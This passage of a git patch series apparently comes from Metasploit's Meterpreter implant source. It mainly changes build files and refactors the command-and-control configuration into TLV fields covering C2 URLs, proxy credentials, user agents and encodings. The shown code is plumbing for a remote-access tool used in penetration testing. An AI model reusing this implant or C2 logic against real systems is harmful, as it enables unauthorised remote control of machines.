target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") +endif() diff --git a/c/meterpreter/workspace/jpeg/jpeg.vcxproj b/c/meterpreter/workspace/jpeg/jpeg.vcxproj index 53e1cb406..093467e2e 100644 --- a/c/meterpreter/workspace/jpeg/jpeg.vcxproj +++ b/c/meterpreter/workspace/jpeg/jpeg.vcxproj @@ -1,265 +1,265 @@ - - - - - Debug - Win32 - - - Debug - x64 - - - Release - Win32 - - - Release - x64 - - - - {E61592E1-28F4-4AFC-9EE1-9BE833A061C1} - jpeg - Win32Proj - 7.0 - - - - StaticLibrary - v141_xp - MultiByte - false - - - StaticLibrary - v141_xp - MultiByte - false - - - StaticLibrary - v141_xp - MultiByte - false - - - StaticLibrary - v141_xp - MultiByte - false - - - - - - - - - - - - - - - - - - - - - - - <_ProjectFileVersion>11.0.60610.1 - - - .\$(Configuration)\$(Platform)\ - .\$(Configuration)\$(Platform)\ - $(ProjectName).$(PlatformShortName) - - - .\$(Configuration)\$(Platform)\ - .\$(Configuration)\$(Platform)\ - $(ProjectName).$(PlatformShortName) - - - .\$(Configuration)\$(Platform)\ - .\$(Configuration)\$(Platform)\ - $(ProjectName).$(PlatformShortName) - - - .\$(Configuration)\$(Platform)\ - .\$(Configuration)\$(Platform)\ - $(ProjectName).$(PlatformShortName) - - - - MaxSpeed - OnlyExplicitInline - false - false - false - WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - MultiThreaded - true - - Level3 - ProgramDatabase - CompileAsCpp - - - false - - + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {E61592E1-28F4-4AFC-9EE1-9BE833A061C1} + jpeg + Win32Proj + 7.0 + + + + StaticLibrary + v141_xp + MultiByte + false + + + StaticLibrary + v141_xp + MultiByte + false + + + StaticLibrary + v141_xp + MultiByte + false + + + StaticLibrary + v141_xp + MultiByte + false + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.60610.1 + + + .\$(Configuration)\$(Platform)\ + .\$(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + + + .\$(Configuration)\$(Platform)\ + .\$(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + + + .\$(Configuration)\$(Platform)\ + .\$(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + + + .\$(Configuration)\$(Platform)\ + .\$(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + + + + MaxSpeed + OnlyExplicitInline + false + false + false + WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + false + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL IF NOT EXIST "$(ProjectDir)..\..\lib\" mkdir "$(ProjectDir)..\..\lib\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" - - - - - MaxSpeed - OnlyExplicitInline - false - false - false - WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - MultiThreaded - true - - - Level3 - ProgramDatabase - CompileAsCpp - - - false - - +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" + + + + + MaxSpeed + OnlyExplicitInline + false + false + false + WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + true + + + Level3 + ProgramDatabase + CompileAsCpp + + + false + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL IF NOT EXIST "$(ProjectDir)..\..\lib\" mkdir "$(ProjectDir)..\..\lib\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" - - - - - X64 - - - MaxSpeed - OnlyExplicitInline - false - false - false - WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - MultiThreaded - true - - Level3 - ProgramDatabase - CompileAsCpp - - - false - - +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + false + false + false + WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + false + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL IF NOT EXIST "$(ProjectDir)..\..\lib\" mkdir "$(ProjectDir)..\..\lib\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" - - - - - X64 - - - MaxSpeed - OnlyExplicitInline - false - false - false - WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - MultiThreaded - true - - - Level3 - ProgramDatabase - CompileAsCpp - - - false - - +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + false + false + false + WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + true + + + Level3 + ProgramDatabase + CompileAsCpp + + + false + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL IF NOT EXIST "$(ProjectDir)..\..\lib\" mkdir "$(ProjectDir)..\..\lib\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/c/meterpreter/workspace/make.msbuild b/c/meterpreter/workspace/make.msbuild index d4a89aec3..3304dfb8f 100644 --- a/c/meterpreter/workspace/make.msbuild +++ b/c/meterpreter/workspace/make.msbuild @@ -10,32 +10,32 @@ - + - + - + - + - + - + diff --git a/c/meterpreter/workspace/metsrv/CMakeLists.txt b/c/meterpreter/workspace/metsrv/CMakeLists.txt index cbc09600d..103c3cb42 100644 --- a/c/meterpreter/workspace/metsrv/CMakeLists.txt +++ b/c/meterpreter/workspace/metsrv/CMakeLists.txt @@ -34,6 +34,7 @@ set(LINK_LIBS advapi32 winhttp wininet crypt32) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") else() set(LINK_LIBS ${LINK_LIBS} ws2_32) endif() diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 6bb15169c..985e2eed2 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -602,18 +602,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true - \ No newline at end of file + diff --git a/c/meterpreter/workspace/screenshot/CMakeLists.txt b/c/meterpreter/workspace/screenshot/CMakeLists.txt index da3ffcc44..17b00b973 100644 --- a/c/meterpreter/workspace/screenshot/CMakeLists.txt +++ b/c/meterpreter/workspace/screenshot/CMakeLists.txt @@ -28,6 +28,7 @@ set(LINK_LIBS jpeg) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/screenshot/screenshot.vcxproj b/c/meterpreter/workspace/screenshot/screenshot.vcxproj index 3186ca82a..f40664e63 100644 --- a/c/meterpreter/workspace/screenshot/screenshot.vcxproj +++ b/c/meterpreter/workspace/screenshot/screenshot.vcxproj @@ -411,14 +411,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -428,4 +424,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + From e424413f571baefd313dd3f4ec27e5631caba1de Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 19 Jun 2025 12:41:20 +1000 Subject: [PATCH 02/24] Small tweak to the RDI cmake file Makes sure that things build correctly across environments. --- .../ReflectiveDLLInjection/CMakeLists.txt | 22 +++++++++++++------ 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt b/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt index 747498fdd..dc47d0208 100644 --- a/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt +++ b/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt @@ -4,18 +4,26 @@ set(PROJECT_NAME ReflectiveDLLInjection) project(${PROJECT_NAME} ASM) set(ASM_SUFFIX "s") +set(BITS "64") + if(MSVC) - enable_language(ASM_MASM) - set(ASM_SUFFIX "asm") + enable_language(ASM_MASM) + set(ASM_SUFFIX "asm") endif() +message(CMAKE_GENERATOR_PLATFORM="${CMAKE_GENERATOR_PLATFORM}") set(SRC_DIR ../../source/ReflectiveDLLInjection/dll/src) -if("${CMAKE_GENERATOR_PLATFORM}" STREQUAL "x64") - set(SRC_FILES "${SRC_DIR}/GateTrampoline64.${ASM_SUFFIX}") -elseif("${CMAKE_GENERATOR_PLATFORM}" STREQUAL "Win32") - set(SRC_FILES "${SRC_DIR}/GateTrampoline32.${ASM_SUFFIX}") +# On windows, cmake sets the CMAKE_GENERATOR_PLATFORM value to the target +# arch that we're building to, so we can rely on that. In docker, we can't +# because the value isn't set. +if(MSVC AND "${CMAKE_GENERATOR_PLATFORM}" STREQUAL "Win32") + set(BITS "32") +elseif(NOT MSVC AND "${CMAKE_SYSTEM_PROCESSOR}" MATCHES "(i386|i686)") + set(BITS "32") endif() +set(SRC_FILES "${SRC_DIR}/GateTrampoline${BITS}.${ASM_SUFFIX}") + set_property(DIRECTORY PROPERTY COMPILE_DEFINITIONS) set_property(DIRECTORY PROPERTY INCLUDE_DIRECTORIES) set(CMAKE_ASM_FLAGS_RELEASE_INIT "") @@ -24,5 +32,5 @@ set(CMAKE_ASM_FLAGS_RELEASE "") add_library(${PROJECT_NAME} ${SRC_FILES}) if(MSVC) - target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() From cf1086e5a0553757cc4c7d0843caaadb3ffe3294 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 30 Jun 2025 10:46:00 +1000 Subject: [PATCH 03/24] MC2 first pass clean compile Not read for push, some sections removed to avoid the pain of dev until the rest of the work is done. --- c/meterpreter/source/common/common.h | 2 +- c/meterpreter/source/common/common_config.h | 61 +------- c/meterpreter/source/common/common_core.h | 36 ++++- c/meterpreter/source/common/common_remote.h | 10 +- c/meterpreter/source/metsrv/base.c | 1 - c/meterpreter/source/metsrv/base_dispatch.c | 3 + c/meterpreter/source/metsrv/core.c | 102 +++++++++++- c/meterpreter/source/metsrv/core.h | 10 +- c/meterpreter/source/metsrv/metsrv.c | 32 +++- c/meterpreter/source/metsrv/metsrv.h | 2 +- .../source/metsrv/packet_encryption.c | 2 +- c/meterpreter/source/metsrv/remote.c | 2 - c/meterpreter/source/metsrv/remote_dispatch.c | 6 +- c/meterpreter/source/metsrv/server_setup.c | 146 ++++++++---------- .../metsrv/server_transport_named_pipe.c | 38 ++--- .../metsrv/server_transport_named_pipe.h | 4 +- .../source/metsrv/server_transport_tcp.c | 34 ++-- .../source/metsrv/server_transport_tcp.h | 4 +- .../source/metsrv/server_transport_winhttp.c | 112 +++++--------- .../source/metsrv/server_transport_winhttp.h | 4 +- 20 files changed, 317 insertions(+), 294 deletions(-) diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h index 957893f9b..2f8d25af1 100644 --- a/c/meterpreter/source/common/common.h +++ b/c/meterpreter/source/common/common.h @@ -72,7 +72,7 @@ typedef struct ___u128 { #ifdef DEBUGTRACE #include "common_logging.h" #define dprintf(...) real_dprintf(__VA_ARGS__) -#define INIT_LOGGING(metConfig) init_logging(metConfig->session.log_path); +#define INIT_LOGGING(path) init_logging(path); #define SET_LOGGING_CONTEXT(api) set_logging_context(api->logging.get_logging_context(), api->logging.get_lock()); #if DEBUGTRACE == 1 #define vdprintf dprintf diff --git a/c/meterpreter/source/common/common_config.h b/c/meterpreter/source/common/common_config.h index 438b6dddf..c42bad5a5 100644 --- a/c/meterpreter/source/common/common_config.h +++ b/c/meterpreter/source/common/common_config.h @@ -23,71 +23,14 @@ typedef CHARTYPE const * CSTRTYPE; // Make sure we byte-align based on what we're given in the structure definitions #pragma pack(push, 1) -typedef struct _MetsrvSession +typedef struct _MetsrvConfig { union { UINT_PTR handle; BYTE padding[8]; } comms_handle; ///! Socket/handle for communications (if there is one). - DWORD exit_func; ///! Exit func identifier for when the session ends. - int expiry; ///! The total number of seconds to wait before killing off the session. - BYTE uuid[UUID_SIZE]; ///! UUID - BYTE session_guid[sizeof(GUID)]; ///! Current session GUID -#ifdef DEBUGTRACE - CHARTYPE log_path[LOG_PATH_SIZE]; ///! Location to place the log file. Only set when msfconsole specifies MeterpreterDebugLogging -#endif -} MetsrvSession; - -typedef struct _MetsrvTransportCommon -{ - CHARTYPE url[URL_SIZE]; ///! Transport url: scheme://host:port/URI - int comms_timeout; ///! Number of sessions to wait for a new packet. - int retry_total; ///! Total seconds to retry comms for. - int retry_wait; ///! Seconds to wait between reconnects. -} MetsrvTransportCommon; - -typedef struct _MetsrvTransportProxy -{ - CHARTYPE hostname[PROXY_HOST_SIZE]; ///! Proxy hostname. - CHARTYPE username[PROXY_USER_SIZE]; ///! Proxy username. - CHARTYPE password[PROXY_PASS_SIZE]; ///! Proxy password. -} MetsrvTransportProxy; - -typedef struct _MetsrvTransportHttp -{ - MetsrvTransportCommon common; - MetsrvTransportProxy proxy; - CHARTYPE ua[256]; ///! User agent string. - BYTE ssl_cert_hash[CERT_HASH_SIZE]; ///! Expected SSL certificate hash. - CHARTYPE custom_headers[1]; ///! Custom headers to add to outbound requests (arb length, NULL terminated). -} MetsrvTransportHttp; - -typedef struct _MetsrvTransportTcp -{ - MetsrvTransportCommon common; -} MetsrvTransportTcp; - -typedef struct _MetsrvTransportNamedPipe -{ - MetsrvTransportCommon common; -} MetsrvTransportNamedPipe; - -typedef struct _MetsrvExtension -{ - DWORD size; ///! Size of the extension. - BYTE dll[1]; ///! Array of extension bytes (will be more than 1). -} MetsrvExtension; - -typedef struct _MetsrvConfig -{ - MetsrvSession session; - MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports - // Extensions will appear after this - // After extensions, we get a list of extension initialisers - // \x00 - // \x00 - // \x00 + BYTE config_tlv[1]; } MetsrvConfig; // We force 64bit alignment for HANDLES and POINTERS in order diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index b378e056d..32200a25c 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -90,6 +90,11 @@ typedef enum /*! @brief An indication of whether the content written to the channel should be compressed. */ #define CHANNEL_FLAG_COMPRESS (1 << 1) + +#define C2_ENCODING_FLAG_B64 (1 << 0) //! straight Base64 encoding +#define C2_ENCODING_FLAG_B64URL (1 << 1) //! encoding Base64 with URL-safe values +#define C2_ENCODING_FLAG_URL (1 << 2) //! straight URL encoding + /*! @brief Type definition with defines `TlvMetaType` as an double-word. */ typedef DWORD TlvMetaType; @@ -176,6 +181,31 @@ typedef enum TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections. TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name. + TLV_TYPE_CONFIG_BLOCK = TLV_VALUE(TLV_META_TYPE_GROUP, 700), ///! container for the entire configuration block + TLV_TYPE_SESSION_EXPIRY = TLV_VALUE(TLV_META_TYPE_UINT, 701), ///! Session expiration time + TLV_TYPE_EXITFUNC = TLV_VALUE(TLV_META_TYPE_UINT, 702), ///! identifier of the exit function to use + TLV_TYPE_DEBUG_LOG = TLV_VALUE(TLV_META_TYPE_STRING, 703), ///! path to write debug log + TLV_TYPE_EXTENSION = TLV_VALUE(TLV_META_TYPE_GROUP, 704), ///! Group containing extension info + TLV_TYPE_C2 = TLV_VALUE(TLV_META_TYPE_GROUP, 705), ///! a C2/transport grouping + TLV_TYPE_C2_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 706), ///! the timeout for this C2 group + TLV_TYPE_C2_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 707), ///! number of times to retry this C2 + TLV_TYPE_C2_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 708), ///! how long to wait between reconnect attempts + TLV_TYPE_C2_URL = TLV_VALUE(TLV_META_TYPE_STRING, 709), ///! base URL of this C2 (scheme://host:port/uri) + TLV_TYPE_C2_URI = TLV_VALUE(TLV_META_TYPE_STRING, 710), ///! URI to append to base URL (for HTTP(s)), if any + TLV_TYPE_C2_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 711), ///! Host name of proxy + TLV_TYPE_C2_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 712), ///! Proxy user name + TLV_TYPE_C2_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 713), ///! Proxy password + TLV_TYPE_C2_GET = TLV_VALUE(TLV_META_TYPE_GROUP, 714), ///! A grouping of params associated with GET requests + TLV_TYPE_C2_POST = TLV_VALUE(TLV_META_TYPE_GROUP, 715), ///! A grouping of params associated with POST requests + TLV_TYPE_C2_HEADER = TLV_VALUE(TLV_META_TYPE_STRING, 716), ///! Custom headers (GET or POST context) + TLV_TYPE_C2_UA = TLV_VALUE(TLV_META_TYPE_STRING, 717), ///! User agent + TLV_TYPE_C2_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 718), ///! Expected SSL certificate hash + TLV_TYPE_C2_REQ_PREFIX = TLV_VALUE(TLV_META_TYPE_STRING, 719), ///! Data to prepend to the outgoing payload (in global, GET or POST context) + TLV_TYPE_C2_REQ_SUFFIX = TLV_VALUE(TLV_META_TYPE_STRING, 720), ///! Data to append to the outgoing payload (in global, GET or POST context) + TLV_TYPE_C2_REQ_ENC = TLV_VALUE(TLV_META_TYPE_UINT, 722), ///! Request encoding flags (Base64|URL|Base64url) + TLV_TYPE_C2_RESP_SKIP_COUNT = TLV_VALUE(TLV_META_TYPE_UINT, 723), ///! Number of bytes of the incoming payload to ignore before parsing + TLV_TYPE_C2_RESP_ENC = TLV_VALUE(TLV_META_TYPE_UINT, 724), ///! Response encoding flags (Base64|URL|Base64url) + TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value. @@ -188,19 +218,19 @@ typedef unsigned __int64 QWORD; #define ntohq( qword ) ( (QWORD)ntohl( qword & 0xFFFFFFFF ) << 32 ) | ntohl( qword >> 32 ) #define htonq( qword ) ntohq( qword ) -typedef struct +typedef struct _TlvHeader { DWORD length; DWORD type; } TlvHeader; -typedef struct +typedef struct _Tlv { TlvHeader header; PUCHAR buffer; } Tlv; -typedef struct +typedef struct _PacketHeader { BYTE xor_key[4]; BYTE session_guid[sizeof(GUID)]; diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index f15d509c3..80e94105c 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -17,6 +17,7 @@ typedef CHARTYPE* STRTYPE; // Forward declarations required to keep compilers happy. typedef struct _Packet Packet; +typedef struct _Tlv Tlv; typedef struct _PacketRequestCompletion PacketRequestCompletion; typedef struct _Transport Transport; typedef struct _SslLib SslLib; @@ -26,14 +27,13 @@ typedef struct _HttpTransportContext HttpTransportContext; typedef struct _PacketEncryptionContext PacketEncryptionContext; typedef UINT_PTR(*PTransportGetHandle)(Transport* transport); -typedef DWORD(*PTransportGetConfigSize)(Transport* transport); typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle); typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown); typedef DWORD(*PTransportInit)(Transport* transport); typedef DWORD(*PTransportDeinit)(Transport* transport); typedef void(*PTransportDestroy)(Transport* transport); typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer); -typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size); +typedef Transport*(*PTransportCreate)(Remote* remote, Packet* packet, Tlv* c2Tlv); typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport); typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size); @@ -104,7 +104,6 @@ typedef struct _Transport DWORD type; ///! The type of transport in use. PTransportGetHandle get_handle; ///! Function to get the socket/handle from the transport. PTransportSetHandle set_handle; ///! Function to set the socket/handle on the transport. - PTransportGetConfigSize get_config_size; ///! Function to get the size of the configuration for the transport. PTransportReset transport_reset; ///! Function to reset/clean the transport ready for restarting. PTransportInit transport_init; ///! Initialises the transport. PTransportDeinit transport_deinit; ///! Deinitialises the transport. @@ -138,10 +137,11 @@ typedef struct _Remote Transport* next_transport; ///! Set externally when transports are requested to be changed. DWORD next_transport_wait; ///! Number of seconds to wait before going to the next transport (used for sleeping). - MetsrvConfig* orig_config; ///! Pointer to the original configuration. - LOCK* lock; ///! General transport usage lock (used by SSL, and desktop stuff too). + BYTE uuid[UUID_SIZE]; ///! payload UUID + BYTE session_guid[sizeof(GUID)]; ///! GUID of the current session + HANDLE server_thread; ///! Handle to the current server thread. HANDLE server_token; ///! Handle to the current server security token. HANDLE thread_token; ///! Handle to the current thread security token. diff --git a/c/meterpreter/source/metsrv/base.c b/c/meterpreter/source/metsrv/base.c index a306964e2..999ec563a 100644 --- a/c/meterpreter/source/metsrv/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -45,7 +45,6 @@ DWORD remote_response_core_console_write(Remote *remote, Packet *packet) } BOOL command_is_inline(Command *command, Packet *packet); -Command* command_locate(Packet *packet); DWORD command_validate_arguments(Command *command, Packet *packet); DWORD THREADCALL command_process_thread(THREAD * thread); diff --git a/c/meterpreter/source/metsrv/base_dispatch.c b/c/meterpreter/source/metsrv/base_dispatch.c index 3e022c4fb..97544e57b 100644 --- a/c/meterpreter/source/metsrv/base_dispatch.c +++ b/c/meterpreter/source/metsrv/base_dispatch.c @@ -35,6 +35,8 @@ void set_transport_session_expiry(Remote* remote, Packet* packet) DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBuffer) { + return ERROR_SUCCESS; +#ifdef FJDKLSA DWORD result = ERROR_NOT_ENOUGH_MEMORY; Transport* transport = NULL; wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); @@ -163,6 +165,7 @@ DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** *transportBuffer = transport; return result; +#endif } DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) diff --git a/c/meterpreter/source/metsrv/core.c b/c/meterpreter/source/metsrv/core.c index deccdfc6e..68614e4de 100644 --- a/c/meterpreter/source/metsrv/core.c +++ b/c/meterpreter/source/metsrv/core.c @@ -758,9 +758,92 @@ DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type, Tlv * return packet_find_tlv_buf(packet, group->buffer, group->header.length, 0, type, entry); } +PCHAR packet_get_tlv_group_entry_value_string(Packet *packet, Tlv *group, TlvType type, DWORD* size) +{ + Tlv entry = { 0 }; + if (size != NULL) + { + *size = 0; + } + + if (packet_get_tlv_group_entry(packet, group, type, &entry) == ERROR_SUCCESS) + { + if (size != NULL) + { + *size = entry.header.length; + } + return (PCHAR)entry.buffer; + } + + return NULL; +} + +PWCHAR packet_get_tlv_group_entry_value_wstring(Packet *packet, Tlv *group, TlvType type, DWORD* size) +{ + PWCHAR result = NULL; + + if (size != NULL) + { + *size = 0; + } + + DWORD s = 0; + PCHAR v = packet_get_tlv_group_entry_value_string(packet, group, type, &s); + + if (v != NULL) + { + + s = (DWORD)mbstowcs(NULL, v, 0) + 1; + result = (PWCHAR)calloc(s, sizeof(wchar_t)); + if (result) + { + mbstowcs(result, v, s); + + if (size != NULL) + { + *size = s; + } + } + } + + return result; +} + +LPBYTE packet_get_tlv_group_entry_value_raw(Packet *packet, Tlv *group, TlvType type, DWORD* size) +{ + Tlv entry = { 0 }; + if (size != NULL) + { + *size = 0; + } + + if (packet_get_tlv_group_entry(packet, group, type, &entry) == ERROR_SUCCESS) + { + if (size != NULL) + { + *size = entry.header.length; + } + return entry.buffer; + } + + return NULL; +} + +UINT packet_get_tlv_group_entry_value_uint(Packet *packet, Tlv *group, TlvType type) +{ + Tlv entry = { 0 }; + if (packet_get_tlv_group_entry(packet, group, type, &entry) == ERROR_SUCCESS) + { + return ntohl(*(UINT*)entry.buffer); + } + + return 0; +} + /*! * @brief Enumerate a TLV (with the option of constraining its type). * @param packet Pointer to the packet to get the TLV from. + * @param index The index of the TLV to extract. * @param type Type of TLV to get (optional). * @param tlv Pointer to the TLV that will receive the data. * @return Indication of success or failure. @@ -772,6 +855,23 @@ DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv) return packet_find_tlv_buf(packet, packet->payload, packet->payloadLength, index, type, tlv); } +/*! + * @brief Enumerate a TLV of a given type from a group TLV in the packet. + * @param packet Pointer to the packet to get the TLV from. + * @param group Pointer to the group TLV to get the value from. + * @param index The index of the TLV to extract. + * @param type Type of TLV to get. + * @param tlv Pointer to the TLV that will receive the data. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_FOUND Unable to find the TLV. + */ +DWORD packet_enum_group_tlv(Packet* packet, Tlv* group, DWORD index, TlvType type, Tlv* tlv) +{ + return packet_find_tlv_buf(packet, group->buffer, group->header.length, index, type, tlv); +} + + /*! * @brief Get the string value of a TLV. * @param packet Pointer to the packet to get the TLV from. @@ -1339,7 +1439,7 @@ DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* c packet_add_request_id(packet); // Always add the UUID to the packet as well, so that MSF knows who and what we are - packet_add_tlv_raw(packet, TLV_TYPE_UUID, remote->orig_config->session.uuid, UUID_SIZE); + packet_add_tlv_raw(packet, TLV_TYPE_UUID, remote->uuid, UUID_SIZE); do { diff --git a/c/meterpreter/source/metsrv/core.h b/c/meterpreter/source/metsrv/core.h index cff1647f8..4e3fe3dab 100644 --- a/c/meterpreter/source/metsrv/core.h +++ b/c/meterpreter/source/metsrv/core.h @@ -15,11 +15,11 @@ * Packet manipulation */ Packet* packet_create(PacketTlvType type, UINT commandId); -Packet *packet_create_response(Packet *packet); +Packet* packet_create_response(Packet *packet); Packet* packet_create_group(); -Packet *packet_duplicate(Packet *packet); VOID packet_destroy(Packet *packet); + DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket); DWORD packet_add_tlv_string(Packet *packet, TlvType type, LPCSTR str); DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str); @@ -37,6 +37,12 @@ DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv); DWORD packet_get_tlv_string(Packet *packet, TlvType type, Tlv *tlv); DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type,Tlv *entry); DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv); +DWORD packet_enum_group_tlv(Packet* packet, Tlv* group, DWORD index, TlvType type, Tlv* tlv); + +UINT packet_get_tlv_group_entry_value_uint(Packet* packet, Tlv* group, TlvType type); +LPBYTE packet_get_tlv_group_entry_value_raw(Packet* packet, Tlv* group, TlvType type, DWORD* size); +PCHAR packet_get_tlv_group_entry_value_string(Packet *packet, Tlv *group, TlvType type, DWORD* size); +PWCHAR packet_get_tlv_group_entry_value_wstring(Packet *packet, Tlv *group, TlvType type, DWORD* size); BOOL packet_get_tlv_uint(Packet *packet, TlvType type, UINT* output); diff --git a/c/meterpreter/source/metsrv/metsrv.c b/c/meterpreter/source/metsrv/metsrv.c index 93773e661..da51fb47b 100644 --- a/c/meterpreter/source/metsrv/metsrv.c +++ b/c/meterpreter/source/metsrv/metsrv.c @@ -14,9 +14,25 @@ #include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.c" #include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.c" -DWORD Init(MetsrvConfig* metConfig) +DWORD Init(MetsrvConfig* config) { - INIT_LOGGING(metConfig) + dprintf("[METSRV] Initializing from configuration: 0x%p", config); + + Packet* configPacket = packet_create_group(); + configPacket->local = 